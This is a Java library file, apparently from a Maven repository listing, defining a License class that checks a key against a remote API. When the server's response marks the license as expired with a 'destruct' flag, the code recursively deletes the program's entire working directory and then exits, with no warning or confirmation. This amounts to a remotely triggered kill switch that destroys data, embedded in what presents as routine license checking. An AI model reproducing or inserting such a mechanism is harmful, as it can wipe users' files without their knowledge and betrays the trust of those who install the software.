anlavn.net.License Maven / Gradle / Ivy
package anlavn.net;
// Make By Bình An || AnLaVN || KatoVN
import anlavn.file.Log;
import java.io.ByteArrayInputStream;
import java.io.File;
import java.io.IOException;
import java.net.URLEncoder;
import java.nio.charset.StandardCharsets;
import java.time.ZonedDateTime;
import java.util.PropertyResourceBundle;
import java.util.ResourceBundle;
import org.apache.commons.io.FileUtils;
/**Lớp License hỗ trợ đánh dấu bản quyền cho dự án.
* @author AnLaVN - https://github.com/AnLaVN
*/
public class License {
private static String NAME, EXPIRED, CONTACT, CONTENT, licenseInvalid, licenseExpired;
private static boolean RUNNABLE, DESTRUCT;
static {
try {
licenseInvalid = "License Invalid\n" + new String(License.class.getResource("/anlavn/net/LicenseInvalid.txt").openStream().readAllBytes());
licenseExpired = "License Expired\n" + new String(License.class.getResource("/anlavn/net/LicenseExpired.txt").openStream().readAllBytes());
} catch (IOException ex) {
Log.add("License - Error when try to read template !!!\n\tError code: " + ex.toString());
}
}
private static void notificationInvalid() {
Log.add(licenseInvalid);
System.exit(1);
}
private static void notificationExpired() {
int index1 = licenseExpired.indexOf("["),
index2 = licenseExpired.indexOf("/", index1),
index3 = licenseExpired.indexOf("]", index2);
Log.add(licenseExpired.replaceAll("\\[.*?\\]", DESTRUCT ? licenseExpired.substring(index2+1, index3) : licenseExpired.substring(index1+1, index2))
.replaceFirst("LICENSE_NAME", NAME)
.replaceFirst("EXPIRED_DATE", EXPIRED)
.replaceFirst("CONTENT", CONTENT)
.replaceAll("CONTACT", CONTACT));
System.exit(1);
}
private static void destruct() throws IOException {
FileUtils.deleteDirectory(new File(System.getProperty("user.dir")));
notificationExpired();
}
/**Sử dụng phương thức này để kiểm tra quyền hạn của giấy phép.
* Nếu có đủ quyền, chương trình sẽ tiếp tục thực hiện. Nếu không thì dừng/xóa chương trình.
* @param licenseKey là khóa cấp phép của bạn.
* @see License#check(java.lang.String, java.lang.String)
*/
public static void check(String licenseKey) {
check(licenseKey, null);
}
/**Sử dụng phương thức này để kiểm tra quyền hạn của giấy phép.
* Nếu có đủ quyền, chương trình sẽ tiếp tục thực hiện. Nếu không thì dừng/xóa chương trình.
* @param licenseKey là khóa cấp phép của bạn.
* @param author là tên người dùng github của tác giả.
* @see License#check(java.lang.String)
*/
public static void check(String licenseKey, String author) {
try {
if(licenseKey.isBlank()) throw new RuntimeException();
else licenseKey = URLEncoder.encode(licenseKey.trim(), StandardCharsets.UTF_8.toString());
String license = new DocNet("https://anlavn-api.vercel.app/api/license/check?key=" + licenseKey).readAllLine();
ResourceBundle p = new PropertyResourceBundle(new ByteArrayInputStream(license.getBytes()));
RUNNABLE= Boolean.parseBoolean(p.getString("license.runnable"));
DESTRUCT= Boolean.parseBoolean(p.getString("expired.destruct"));
EXPIRED = p.getString("expired.time");
NAME = p.getString("license.name");
CONTACT = p.getString("expired.contact");
CONTENT = p.getString("expired.content");
if(author != null && !author.equals(p.getString("license.author"))) throw new RuntimeException();
boolean isExpired = !RUNNABLE || ZonedDateTime.now().isAfter(ZonedDateTime.parse(EXPIRED));
if(isExpired && DESTRUCT) destruct();
else if(isExpired) notificationExpired();
} catch (Exception ex) {
notificationInvalid();
}
}
}